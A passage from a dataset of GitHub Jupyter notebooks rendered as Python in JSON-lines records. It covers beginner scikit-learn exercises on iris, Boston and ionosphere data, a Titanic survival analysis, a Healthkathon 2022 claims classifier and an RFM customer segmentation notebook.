GaussianNB()\nnb_model.fit(X_train, y_train)\ny_pred = nb_model.predict(X_test)\n\nprint('acc score:', accuracy_score(y_test, y_pred))\nprint('AUC score:', roc_auc_score(y_test, y_pred))\n","repo_name":"jasonhhao/Machine-Learning-Projects","sub_path":"Text_Spam_Ham_Prediction/text_spam_ham_prediction.ipynb","file_name":"text_spam_ham_prediction.ipynb","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"10645373805","text":"# + [markdown] id=\"Q62GJJzys3bN\"\n# IMPORTS\n\n# + id=\"MUgLtQYdsPkS\"\nfrom sklearn import datasets, ensemble, linear_model, model_selection, svm\n\n# + [markdown] id=\"YS24Mu22s4wb\"\n# load dataset\n\n# + id=\"FsaiOqs0sWfu\"\nX, y = datasets.load_iris(return_X_y=True)\nX_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, test_size=0.3)\n\n# + [markdown] id=\"msnTDnhIs93i\"\n# Logistic Classifier Solution\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"X_DUPFgQs7hg\" outputId=\"929f62ed-d6c3-4ff9-b96d-41798dfdb9ac\"\nlc_model = linear_model.SGDClassifier()\nlc_model.fit(X_train, y_train)\n\nlc_model.score(X_test, y_test)\n\n# + [markdown] id=\"w-iUi0wWt-4K\"\n# now lets try a random forest algorithm\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"yjtWWHCnt-I_\" outputId=\"2a1174ab-480b-4706-efab-969ab51c2f57\"\nrf_model = ensemble.RandomForestClassifier(n_estimators=12)\nrf_model.fit(X_train, y_train)\n\nrf_model.score(X_test, y_test)\n\n# + [markdown] id=\"dJrE30OJuRam\"\n# now finnaly a support vector\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"n61IUANKuTb8\" outputId=\"977a7c1e-28bb-4787-9980-04737d9a374d\"\nsv_model = svm.SVC()\nsv_model.fit(X_train, y_train)\n\nsv_model.score(X_test, y_test)\n\n# + [markdown] id=\"dMTY4ZPHur4D\"\n# Just with some testing, the best performance was acheived by the random forest algorithm with a 97.77% test success rate, the most reliable was the support vector, that consistently hit 95.5% and the least reliable and lowest performing was the simple linear classifier.\n\n# + [markdown] id=\"VgiWGePqkX1S\"\n# Now lets do a regression model on the Boston dataset\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"kcZMyE41kV3Q\" outputId=\"0bf831ca-ada5-4b52-f126-6926fc503994\"\nfrom sklearn.datasets import load_boston\nfrom sklearn.linear_model import LinearRegression\n\nX, y = load_boston(return_X_y=True)\n\nX_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, test_size=0.3)\n\nlinear_reg_model = LinearRegression()\nlinear_reg_model.fit(X_train, y_train)\n\nlinear_reg_model.score(X_test, y_test)\n\n# + [markdown] id=\"pjTX7UMxmvyu\"\n# Now I'm using the lonosphere dataset on a Binary Classification problem\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"sArvIr0olIWy\" outputId=\"95e40842-54b5-4186-c721-9b7d197eaeb7\"\nimport pandas as pd \nimport numpy as np\nfrom sklearn.linear_model import LogisticRegression\n\ntest_percent = 0.25\n\ndata = pd.read_csv(\"ionosphere.csv\")\n\ndata = data.replace(\"b\", 0)\ndata = data.replace(\"g\", 1)\n\ndata_split_indices = np.random.random(len(data.index)) < (1-test_percent)\n\ntrain = data[data_split_indices]\ntest = data[~data_split_indices]\n\nX_train = train.iloc[:, :-1]\ny_train = train.iloc[:, -1]\nprint(X_train, y_train)\n\nX_test = train.iloc[:, :-1]\ny_test = train.iloc[:, -1]\n\nlog_reg_model = LogisticRegression()\nlog_reg_model.fit(X_train, y_train)\n\nlog_reg_model.score(X_test, y_test)\n\n# + id=\"8mOncHTGot73\"\n\n","repo_name":"nykash/Intro-To-AI-Libraries-and-Tools","sub_path":"Nikash_Das_Libraries_and_Tools.ipynb","file_name":"Nikash_Das_Libraries_and_Tools.ipynb","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"15497552768","text":"# # Basic Step of Data Analysis\n# ## Data Collection\n# ## Data Exploration\n# ## Data Cleaning\n# ## Data Binning\n# ## Data Visualization\n# ## One hot Encoding\n# ## Feature Engineering\n# ## Model Building\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ntitanic_data=pd.read_csv('train.csv')\n\ntitanic_data.head()\n\ntitanic_data.shape\n\ntitanic_data.info()\n\ntitanic_data.isnull().sum()\n\nsns.heatmap(titanic_data.isnull(),cmap='viridis')\n\n# # How many People were survived and how many were dead?\n\ntitanic_data['Survived'].value_counts()\n\nsns.countplot(x='Survived',data=titanic_data)\n\n# How many males and females were travelling on that ship?\ntitanic_data['Sex'].value_counts()\n\n# # How many Females and Males were survived?\n\ntitanic_data.groupby('Sex')['Survived'].value_counts()\n\ntitanic_data.groupby('Survived')['Sex'].value_counts()\n\n# Hue Paramter\nsns.countplot(x='Sex',hue='Survived',data=titanic_data)\n\n# # What is the survival rate of Males?\n\n# Survival Rate = No. of males Survived/Total no. of Males\ntitanic_data.groupby('Sex')['Survived'].value_counts()[3]/titanic_data['Sex'].value_counts()[0]*100\n\n109/577*100\n\n# # What is the Survival Rate for Females?\n\n# Survival Rate = No. of females Survived/Total no. of Females\ntitanic_data.groupby('Sex')['Survived'].value_counts()[0]/titanic_data['Sex'].value_counts()[1]*100\n\n233/314*100\n\n# # Groupby \n\n# Groupby\ntitanic_data.groupby('Sex')['Survived'].value_counts()\n\nsns.countplot(x='Sex',data=titanic_data)\nplt.show()\n\nsns.countplot(x='Sex',hue='Survived',data=titanic_data)\nplt.show()\n\n# # In which Passenger class the people were more safe?\n\nsns.countplot(x='Pclass',hue='Survived',data=titanic_data)\nplt.show()\n\n# # Assignment-01 How many People were Travelling Alone?\n\ntitanic_data.head()\n\nAlone = titanic_data[(titanic_data['SibSp']== 0) & (titanic_data['Parch']== 0)]\nAlone\n\nAlone.shape[0]\nprint('There are total {} People Travelling Alone out of {} People.'.format(Alone.shape[0],titanic_data.shape[0]))\n\nalone=titanic_data[(titanic_data['SibSp']==0) & (titanic_data['Parch']==0)]\nnot_alone=titanic_data[(titanic_data['SibSp']!=0) | (titanic_data['Parch']!=0)]\n\nalone.head()\n\nnot_alone.head()\n\n# # What is the Survival Rate of the Person Travelling Alone?\n\nalone['Survived'].value_counts()\n\n# # Q.1. Where survival rate is more, people were travelling alone or people with travelling either parents or siblings?\n\nnot_alone.Survived.value_counts(normalize=True)*100\n\nalone['Survived'].value_counts(normalize=True)*100\n\n# # Assignment-02: Where the survival rate is more people travelling with parents(Parch) only or people travelling with siblings only?\n\nparents=titanic_data[(titanic_data['Parch']!=0) & (titanic_data['SibSp']==0)]\n\nparents.shape[0]\n\nParents=parents.Survived.value_counts(normalize=True)*100\nParents\n\nParents[1]\n\nparents.shape[0]\nprint('There are total {} People Travelling With parents.'.format(parents.shape[0]))\nprint('When people travelling with parents survival rate is {}.'.format(Parents[1]))\n\nsiblings=titanic_data[(titanic_data['Parch']==0) & (titanic_data['SibSp']!=0)]\n\nsiblings.head()\n\nsiblings.shape[0]\n\nSiblings = siblings.Survived.value_counts(normalize=True)*100\nSiblings\n\nsiblings.shape[0]\nprint('There are total {} People Travelling With Siblings.'.format(siblings.shape[0]))\nprint('When people travelling with Siblings survival rate is {}.'.format(Siblings[1]))\n\nprint('There are People Traveling With parents Survival rate is {} and People Traveling With Siblings survival rate is {}.'.format(Parents[1],Siblings[1]))\n\ntitanic_data\n\n# # How many people were survived from different Pclass based on gender\n\ntitanic_data.groupby(['Pclass','Sex'])['Survived'].value_counts()\n\nsns.barplot(x='Sex',y='Pclass',hue='Survived',data=titanic_data)\n\nplt.figure(figsize=(15,5))\ntitanic_data.groupby(['Pclass','Sex'])['Survived'].value_counts().plot(kind='bar')\n\ntitanic_data.groupby('Pclass')['Fare'].mean()\n\n# # which passenger class contains more fare on the basis gender?\n\ntitanic_data.groupby(['Pclass','Sex'])['Fare'].mean()\n\nplt.figure(figsize=(15,5))\ntitanic_data.groupby(['Pclass','Sex'])['Fare'].mean().plot(kind='bar')\n\nsns.barplot(x='Sex',y='Fare',hue='Pclass',data=titanic_data)\n\n# # Data Cleanning \n\ntitanic_data.isnull().sum()\n\ntitanic_data.head()\n\n#drop cabin column\ntitanic_data.drop(['Cabin'],axis=1,inplace=True)\n\ntitanic_data\n\ntitanic_data[titanic_data['Embarked'].isnull()]\n\ntitanic_data['Embarked'].value_counts()\n\ntitanic_data['Embarked'].fillna('s',inplace=True)\n\ntitanic_data[titanic_data['Embarked'].isnull()]\n\ntitanic_data.isnull().sum()\n\ntitanic_data['Age'].mean()\n\ntitanic_data['Age'].median()\n\n\ntitanic_data.groupby('Pclass')['Age'].mean()\n\ntitanic_data.groupby('Pclass')['Age'].median()\n\n\n# +\n# One Method\n# titanic_data[(titanic_data['Pclass']==1) & (titanic_data.Age.isnull())].fillna(38.23,inplace=True)\n# -\n\ndef input_age(cols):\n Age=cols[0]\n Pclass=cols[1]\n if pd.isnull(Age):\n if Pclass==1:\n return 38.23\n elif Pclass==2:\n return 29.87\n elif Pclass==3:\n return 25.140\n else:\n return Age\n\n\ntitanic_data['Age']=titanic_data[['Age','Pclass']].apply(input_age,axis=1)\n\ntitanic_data.isnull().sum()\n\n# # One hot Encoding\n# # Converting Categorical into Numericals ones¶\n\ntitanic_data.head()\n\n# Using Replacing Method(1st method)\ntitanic_data['Sex'].replace(to_replace=['male','female'],value=[0,1],inplace=True)\n\ntitanic_data.head()\n\n# label Encoder(2nd method)\nfrom sklearn.preprocessing import LabelEncoder\nlb=LabelEncoder()\ntitanic_data['Embarked']=lb.fit_transform(titanic_data['Embarked'])\n\ntitanic_data.head()\n\n# # Feature Engineering\n\ntitanic_data.corr()\n\nplt.figure(figsize=(10,10))\nsns.heatmap(titanic_data.corr(),annot=True,cmap='rainbow')\n\ntitanic_data.groupby('Embarked')['Survived'].value_counts()\n\ntitanic_data.drop(['PassengerId','Name','Ticket'],axis=1,inplace=True)\n\ntitanic_data.head()\n\nX=titanic_data.drop('Survived',axis=1)\ny=titanic_data['Survived']\n\nX.head()\n\ny\n\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, y_train, y_test=train_test_split(X,y,test_size=0.2,random_state=42)\n\nfrom sklearn.linear_model import LogisticRegression\n\nmodel=LogisticRegression()\nmodel.fit(X_train,y_train)\n\ny_pred=model.predict(X_test)\n\ny_pred\n\nfrom sklearn.metrics import accuracy_score\n\naccuracy_score(y_test,y_pred)*100\n\n\n","repo_name":"DevGajjar12/Projects","sub_path":"titanic_data_analysis/Full_Titanic_Data_Analysis___.ipynb","file_name":"Full_Titanic_Data_Analysis___.ipynb","file_ext":"py","file_size_in_byte":6388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"27854417467","text":"# + id=\"4hWD-qYtORoB\"\nimport numpy as np\nimport pandas as pd\n\n\n# + [markdown] id=\"DF9Z1UyqRlcX\"\n# **Data Preparation**\n\n# + id=\"gfo81EqhOWES\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 560} outputId=\"111e29df-720d-456e-c487-2fbee9aa81af\"\ndata = pd.read_csv(\"/content/drive/MyDrive/Healthkathon_2022/sampling_healtkathon2022/sampling_healtkathon2022.csv\")\ndata.head()\n\n# + id=\"FiTQiDPQTqKf\"\ndata.shape\n\n# + id=\"VUE75cOiObwC\"\ndiagnosa = pd.read_csv(\"/content/drive/MyDrive/Healthkathon_2022/sampling_healthkathon2022_diagnosa/sampling_healthkathon2022_diagnosa.csv\")\ndiagnosa.head()\n\n# + id=\"Ui17dPE7TrBv\"\ndiagnosa.shape\n\n# + id=\"7-uXdCflObzL\"\nproc = pd.read_csv(\"/content/drive/MyDrive/Healthkathon_2022/sampling_healthkathon2022_procedure/sampling_healthkathon2022_procedure.csv\")\nproc.head()\n\n# + id=\"H2VcpozCTrtB\"\nproc.shape\n\n# + [markdown] id=\"Sd0ro5g7R7ab\"\n# **Data Prepocessing**\n\n# + id=\"UCBe6ClmOb2L\"\n#Menghitung jumlah hari pasien menginap di rumah sakit\nfrom datetime import datetime\ndata[\"tgldatang\"] = pd.to_datetime(data[\"tgldatang\"])\ndata[\"tglpulang\"] = pd.to_datetime(data[\"tglpulang\"])\n\n# + id=\"jzlKFQjbOb4z\"\nlama =data[\"tglpulang\"].dt.date - data[\"tgldatang\"].dt.date\nlama = lama.dt.days\ndelta = pd.DataFrame(lama, columns = [\"lama\"])\n\n# + id=\"MyjqVraDOb7b\"\ndata1 = data.drop(columns = [\"label\", \"tgldatang\", \"tglpulang\"])\ndata1 = pd.concat([data1, delta], axis = 1)\n\n# + id=\"5YkeOlwFOb-G\"\n#Menghitung jumlah diagnosa yang diberikan kepada pasien\ndiag = diagnosa.pivot_table(columns=['id'], aggfunc='size')\ndiag = diag.reset_index()\ndiag.columns = [\"id\", \"jml_diag\"]\n\n\n# + id=\"e5m_7eO2OcAm\"\ndf = pd.merge(data1, diag, on = \"id\", how = \"left\")\ndf.shape\n\n# + id=\"gTW3jz0OyaqG\"\n#Menghitung jumlah prosedure yang diberikan kepada pasien\nproc = proc.pivot_table(columns=['id'], aggfunc='size')\nproc = proc.reset_index()\nproc.columns = [\"id\", \"jml_procc\"]\n\n# + id=\"jAxItdgxya5K\"\nproc = proc.drop_duplicates(subset = [\"id\"])\nproc.shape\n\n# + id=\"mbx2WpuDyoe8\"\ndf = pd.merge(df, proc, on = \"id\", how = \"left\")\ndf.shape\n\n# + id=\"pXjubOZMOcC7\"\ndf.isna().sum()\n\n# + id=\"TI-UOmb1OcFb\"\n# Memfilter data yang kosong\ndf[\"jenkel\"] = df[\"jenkel\"].fillna(\"p\")\ndf[\"pisat\"] = df[\"pisat\"].fillna(0)\ndf[\"politujuan\"] = df[\"politujuan\"].fillna(\"tidak\")\ndf[\"biaya\"] = df[\"biaya\"].fillna(237150.0)\ndf[\"jenispulang\"] = df[\"jenispulang\"].fillna(1.0)\ndf[\"kdsa\"] = df[\"kdsa\"].fillna(\"None\")\ndf[\"kdsp\"] = df[\"kdsp\"].fillna(\"None\")\ndf[\"kdsr\"] = df[\"kdsr\"].fillna(\"None\")\ndf[\"kdsi\"] = df[\"kdsi\"].fillna(\"None\")\ndf[\"kdsd\"] = df[\"kdsd\"].fillna(\"None\")\ndf[\"jml_diag\"] = df[\"jml_diag\"].fillna(0)\ndf[\"diagfktp\"] = df[\"diagfktp\"].fillna(\"P03.4\")\ndf[\"jml_procc\"] = df[\"jml_procc\"].fillna(0)\n\n# + id=\"a154NwVaOcHw\"\ndf.info()\n\n# + id=\"BBglrox4OcKS\"\n# Mengkonversi atribut tipe data string ke tipe data float\ndf_str = df[[\"typefaskes\", \"jenkel\", \"politujuan\", \"diagfktp\", \"cbg\",\"kdsa\",\"kdsp\", \"kdsr\", \"kdsi\", \"kdsd\"]]\ndf_str = df_str.apply(lambda x: pd.factorize(x)[0])\ndf_str.head()\n\n# + id=\"PGcUr-G-OcM5\"\n#Memisahkan data float dan int\ndf_int = df[[\"dati2\", \"usia\", \"jenispel\",\"pisat\", \"biaya\", \"jenispulang\", \"kelasrawat\", \"lama\", \"jml_diag\"]]\ndf_int.head()\n\n# + id=\"JNX4Q7T7OcPY\"\ndata_pre = pd.concat([df_int, df_str], axis = 1)\ndata_pre.head()\n\n# + id=\"b6XEk7YVOcRj\"\nlabel = data[[\"label\"]]\ndf = pd.concat([data_pre, label], axis = 1)\ndf.shape\n\n# + id=\"jazoefV1OcT2\"\natribut = df.drop(columns = [\"label\"])\nlabel = df[\"label\"]\n\n# + id=\"ITRnlv44OcWI\"\n# Melakukan standarisasi data\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn import preprocessing\nscaler = StandardScaler()\nscaler.fit(atribut)\natribut1 = scaler.transform(atribut)\natribut1 = pd.DataFrame(atribut1, index = atribut.index, columns = atribut.columns)\natribut1.head()\n\n# + [markdown] id=\"g2F1ACIovngZ\"\n# **Data Processing**\n\n# + id=\"2qTMLFxGvWcg\"\n# Melakukan seleksi atribut dan label\nx_train = atribut1\ny_train = label\n\n# + id=\"a7id5LWcUlff\"\n#Melakukan Pemodelan data\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn import tree\nmodel=tree.DecisionTreeClassifier(random_state=0, max_depth=None, min_samples_split=2, min_samples_leaf=1,min_weight_fraction_leaf=0,max_leaf_nodes=None,min_impurity_decrease=0)\nclf = model.fit(atribut1, label)\n\n# + id=\"zw5kWegrUpOz\"\npred = model.predict(atribut1)\nlen(pred)\n\n# + id=\"jGA4Y_1FUzu0\"\nhasil = pd.DataFrame(pred, columns = [\"label\"])\nhasil.head()\n\n# + [markdown] id=\"cf37pBCo2xfX\"\n# **Data Evaluation**\n\n# + id=\"gCZAbVffz9JO\"\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import accuracy_score \n\n# + id=\"UpHbXpkIU3rk\"\n# Melihat akurasi serta kevalidasian data\ncm1 =confusion_matrix(hasil ,label)\nprint(\"confusion matrix\")\nprint(cm1)\nakurasi1=classification_report(hasil ,label)\nprint(\"tingkat akurasi algoritma Naive Bayes\")\nprint(\"Akurasi :\", akurasi1)\nakurasi1=accuracy_score(hasil ,label) \nprint(\"Tingkat Akurasi :%d persen\"%(akurasi1*100))\n\n# + [markdown] id=\"r7l-vpnV0B40\"\n# **Data Prediction**\n#\n# Merupakan tahap prediksi data terhadap data yang sudah diberi pada tahap 2 kompetisi\n\n# + id=\"RpqIeftqv2LS\"\ndata2 = pd.read_csv(\"/content/drive/MyDrive/Healthkathon_2022/Healthkathon 2022 - Machine Learning Tahap 2/sampling2_healthkathon2022_sep.csv\")\ndata2.head()\n\n# + id=\"222xA3Irv9Rx\"\ndata2.shape\n\n# + id=\"F4g4huImwAxW\"\ndiag2 = pd.read_csv(\"/content/drive/MyDrive/Healthkathon_2022/Healthkathon 2022 - Machine Learning Tahap 2/sampling2_healthkathon2022_diagnosa.csv\")\ndiag2.head()\n\n# + id=\"CCBsFBwcwA4B\"\nproc2 = pd.read_csv(\"/content/drive/MyDrive/Healthkathon_2022/Healthkathon 2022 - Machine Learning Tahap 2/sampling2_healthkathon_2022_procedure.csv\")\nproc2.head()\n\n# + id=\"jmKwxnIIwJB7\"\nfrom datetime import datetime\ndata2[\"tgldatang\"] = pd.to_datetime(data2[\"tgldatang\"])\ndata2[\"tglpulang\"] = pd.to_datetime(data2[\"tglpulang\"])\n\n# + id=\"_u4f1uCDwJOJ\"\nlama =data2[\"tglpulang\"].dt.date - data2[\"tgldatang\"].dt.date\nlama = lama.dt.days\ndelta = pd.DataFrame(lama, columns = [\"lama\"])\n\n# + id=\"nHHnue0jwJQk\"\ndata2 = data2.drop(columns = [\"tgldatang\", \"tglpulang\"])\ndata2 = pd.concat([data2, delta], axis = 1)\n\n# + id=\"HY_RxhIjwJUG\"\ndata2.head()\n\n# + id=\"xSlJS8tiwUgp\"\n#Menghitung jumlah diagnosa yang diberikan kepada pasien\ndiag2 = diag2.pivot_table(columns=['id'], aggfunc='size')\ndiag2 = diag2.reset_index()\ndiag2.columns = [\"id\", \"jml_diag\"]\n\n\n# + id=\"UTGbNyCEwUoZ\"\ndf2 = pd.merge(data2, diag2, on = \"id\", how = \"left\")\ndf2.shape\n\n# + id=\"6Txgc5WTwUzV\"\n#Menghitung jumlah prosedure yang diberikan kepada pasien\nproc2 = proc2.pivot_table(columns=['id'], aggfunc='size')\nproc2 = proc2.reset_index()\nproc2.columns = [\"id\", \"jml_procc\"]\n\n# + id=\"EwmlqB5YwfLs\"\nproc2 = proc2.drop_duplicates(subset = [\"id\"])\nproc2.shape\n\n# + id=\"TGXCPPu8wfON\"\ndf2 = pd.merge(df2, proc2, on = \"id\", how = \"left\")\ndf2.shape\n\n# + id=\"xDEWBC-JwfQt\"\ndf2.isna().sum()\n\n# + id=\"zvxf9hRlwfUN\"\ndf2[\"jenkel\"] = df2[\"jenkel\"].fillna(\"p\")\ndf2[\"pisat\"] = df2[\"pisat\"].fillna(0)\ndf2[\"politujuan\"] = df2[\"politujuan\"].fillna(\"tidak\")\ndf2[\"diagfktp\"] = df2[\"diagfktp\"].fillna(\"P03.4\")\ndf2[\"biaya\"] = df2[\"biaya\"].fillna(237150.0)\ndf2[\"kdsa\"] = df2[\"kdsa\"].fillna(\"None\")\ndf2[\"kdsp\"] = df2[\"kdsp\"].fillna(\"None\")\ndf2[\"kdsr\"] = df2[\"kdsr\"].fillna(\"None\")\ndf2[\"kdsi\"] = df2[\"kdsi\"].fillna(\"None\")\ndf2[\"kdsd\"] = df2[\"kdsd\"].fillna(\"None\")\ndf2[\"jml_diag\"] = df2[\"jml_diag\"].fillna(0)\ndf2[\"jml_procc\"] = df2[\"jml_procc\"].fillna(0)\ndf2[\"jenispulang\"] = df2[\"jenispulang\"].fillna(1.0)\n\n# + id=\"_ihlZYjUwrHm\"\ndf_str2 = df2[[\"typefaskes\", \"jenkel\", \"politujuan\", \"diagfktp\", \"cbg\",\"kdsa\",\"kdsp\", \"kdsr\", \"kdsi\", \"kdsd\"]]\ndf_str2 = df_str2.apply(lambda x: pd.factorize(x)[0])\ndf_str2.head()\n\n# + id=\"MHsPGf7DwrP5\"\ndf_int2 = df2[[\"dati2\", \"usia\", \"jenispel\",\"pisat\", \"biaya\", \"jenispulang\", \"kelasrawat\", \"lama\", \"jml_diag\", \"jml_procc\"]]\ndf_int2.head()\n\n# + id=\"fgAPohVcwyL2\"\ndata_pre2 = pd.concat([df_int2, df_str2], axis = 1)\ndata_pre2.head()\n\n# + id=\"venx5fqow2AD\"\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn import preprocessing\nscaler = StandardScaler()\nscaler.fit(data_pre2)\natribut2 = scaler.transform(data_pre2)\natribut2 = pd.DataFrame(atribut2, index = data_pre2.index, columns = data_pre2.columns)\natribut2.head()\n\n# + id=\"FE9e--LTw7FP\"\natribut2 = atribut2[[\"dati2\", \"usia\", \"jenispel\", \"pisat\", \"biaya\", \"jenispulang\", \"kelasrawat\", \"lama\", \"jml_diag\", \"typefaskes\", \"jenkel\", \"politujuan\", \"diagfktp\", \"cbg\", \"kdsa\", \"kdsp\", \"kdsr\", \"kdsi\", \"kdsd\", \"jml_procc\"]]\natribut2.shape\n\n# + id=\"nWthKR00wyWa\"\npred2 = model.predict(atribut2)\nlen(pred2)\n\n# + id=\"q5gEVVMrxecj\"\nhasil2 = pd.DataFrame(pred2, columns = [\"label\"])\nhasil2.head()\n\n# + id=\"DdstBua7xehb\"\nresult2 = pd.concat([data2[\"id\"], hasil2], axis = 1)\nresult2.shape\n\n# + id=\"cMhZEABGxzZp\"\nresult2.head()\n\n# + id=\"6Gjq9l71xzwY\"\nfrom google.colab import drive\ndrive.mount('drive')\nresult2.to_csv('/content/drive/MyDrive/Healthkathon_2022/Healthkathon 2022 - Machine Learning Tahap 2/answer.csv', encoding='utf-8', index=False)\n","repo_name":"ajrielrahayu/BPJS-Healthkathon-2022","sub_path":"ajrielrhy - 1.ipynb","file_name":"ajrielrhy - 1.ipynb","file_ext":"py","file_size_in_byte":8967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"35134751992","text":"# + [markdown] id=\"b5355dfe\"\n# \"types\n\n# + [markdown] id=\"30e718ba\"\n# # Customer Segmentation Using (RFM) analysis\n\n# + [markdown] id=\"b622efc9\"\n#

RFM (Recency, Frequency, Monetary) analysis is a behavior-based approach grouping customers into segments. It groups the customers on the basis of their previous purchase transactions. How recently, how often, and how much did a customer buy. RFM filters customers into various groups for the purpose of better service. It helps managers to identify potential customers to do more profitable business. There is a segment of customer who is the big spender but what if they purchased only once or how recently they purchased? Do they often purchase our product? Also, It helps managers to run an effective promotional campaign for personalized service.

\n\n# + [markdown] id=\"00de2126\"\n#
    \n#
  • Recency (R): Who have purchased recently? Number of days since last purchase (least recency)
  • \n#
  • Frequency (F): Who has purchased frequently? It means the total number of purchases. ( high frequency)
  • \n#
  • Monetary Value(M): Who have high purchase amount? It means the total money customer spent (high monetary value)
  • \n#
\n\n# + [markdown] id=\"96b704a4\"\n#

Here, Each of the three variables(Recency, Frequency, and Monetary) consists of four equal groups, which creates 64 (4x4x4) different customer segments.

\n#

Steps of RFM(Recency, Frequency, Monetary):

\n#\n#
    \n#
  1. Calculate the Recency, Frequency, Monetary values for each customer.
  2. \n#
  3. Add segment bin values to RFM table using quartile.
  4. \n#
  5. Sort the customer RFM score in ascending order.
  6. \n#
\n\n# + [markdown] id=\"bf406258\"\n#

1. Calculate the Recency, Frequency, Monetary values for each customer.

\n# \"Recency,\n\n# + [markdown] id=\"0ca63374\"\n#

2. Add segment bin values to RFM table using quartile.

\n# \"segment\n\n# + [markdown] id=\"44d29b7c\"\n#

3. Concate all scores in single column(RFM_Score).

\n# \"all\n\n# + id=\"9e008765\"\nimport pandas as pd\n \n\n# + id=\"EPqp0O_NOt1V\"\nfrom pandas.core.reshape.tile import qcut\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"lydDuQtPOt3q\" outputId=\"49dfe733-938f-45a2-a429-daa916079e7d\"\nfrom google.colab import drive\ndrive.mount('/content/drive/')\n\n# + id=\"MvMxbUg2Ot6a\"\ndf=pd.read_excel(\"/content/drive/MyDrive/ODC/Online Retail.xlsx\")\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 250} id=\"dcLy2EDlOt_K\" outputId=\"f2ce7407-3126-4fb1-bf3a-85a85f6b93c2\"\ndf.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"vGme5x0_OuBv\" outputId=\"23e5ba4c-071f-4c79-b2f7-c9ef9df16ead\"\npd.qcut(df['UnitPrice'],4,[1,2,3,4])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 455} id=\"NvQ2SKleOuET\" outputId=\"71f24035-2171-45ed-b83e-4efbb5d6b684\"\ndf.groupby('CustomerID').agg({'InvoiceDate':'count'})\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"EYIL-_QmTuhX\" outputId=\"9825c841-b231-4521-d38e-b06537968cc0\"\ndf['Country'].value_counts()\n\n# + id=\"TFYtnsfZOuGr\"\ndf_UK=df.loc[df['Country']=='United Kingdom']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 641} id=\"Gcs6DwYoOuKM\" outputId=\"51f2f116-9f49-41ac-c58d-215f333463b1\"\ndf_UK\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 300} id=\"10d0d53AUUoO\" outputId=\"717e1213-9490-447f-fdb0-15d4e65fe366\"\ndf_UK.describe()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 424} id=\"j-MtAcOEXuEg\" outputId=\"39e1b610-3c14-4b12-ff43-9ace2f48bc8a\"\ndf_UK_recency = df_UK.groupby(by='CustomerID',\n as_index=False)['InvoiceDate'].max()\ndf_UK_recency.columns = ['CustomerID', 'LastPurchaseDate']\nrecent_date = df_UK_recency['LastPurchaseDate'].max()\ndf_UK_recency['Recency'] = df_UK_recency['LastPurchaseDate'].apply(\n lambda x: (recent_date - x).days)\ndf_UK_recency\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 424} id=\"AdnXih3rYdtX\" outputId=\"b916cadd-10c2-44ec-cccd-3c869abfd77f\"\nfrequency_df_UK = df_UK.drop_duplicates().groupby(\n by=['CustomerID'], as_index=False)['InvoiceDate'].count()\nfrequency_df_UK.columns = ['CustomerName', 'Frequency']\nfrequency_df_UK\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 337} id=\"OXrmRvchbKTg\" outputId=\"3a3882cf-c02a-492f-ccf1-a83981f54004\"\ndf_UK.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"gpoI9xTYZJyL\" outputId=\"be8edf37-bbb4-4087-c4e7-86564a23ad5f\"\ndf_UK['Total'] = df['UnitPrice']*df['Quantity']\nmonetary_df = df_UK.groupby(by='CustomerID')['Total'].sum()\nmonetary_df.columns = ['CustomerID', 'Monetary']\nmonetary_df\n\n# + id=\"OEHwt6aMeruF\"\nsnapshot_date=df_UK['InvoiceDate'].max()\n\n# + id=\"Y_5oI7qic_lc\"\n#other_Solution\n# Calculate Recency, Frequency and Monetary value for each customer \ndatamart = df_UK.groupby(['CustomerID']).agg({\n 'InvoiceDate': lambda x: (snapshot_date - x.max()).days,\n 'InvoiceNo': 'count',\n 'Total': 'sum'})\n\n# Rename the columns \ndatamart.rename(columns={'InvoiceDate': 'Recency',\n 'InvoiceNo': 'Frequency',\n 'Total': 'MonetaryValue'}, inplace=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 455} id=\"OYeCFj8sd2jS\" outputId=\"c8a2eabc-37e0-427e-aaa4-f90f435d8aeb\"\ndatamart\n\n# + id=\"XE3eXsl5imD3\"\ndatamart['r_quartil']=pd.qcut(datamart['Recency'],4,[1,2,3,4])\n\n# + id=\"tEBH1MhTjIXo\"\ndatamart['f_quartil']=pd.qcut(datamart['Frequency'],4,[4,3,2,1])\n\n# + id=\"UEE5vCOKkBpf\"\ndatamart['m_quartil']=pd.qcut(datamart['MonetaryValue'],4,[4,3,2,1])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 455} id=\"nE6YJRTakOAn\" 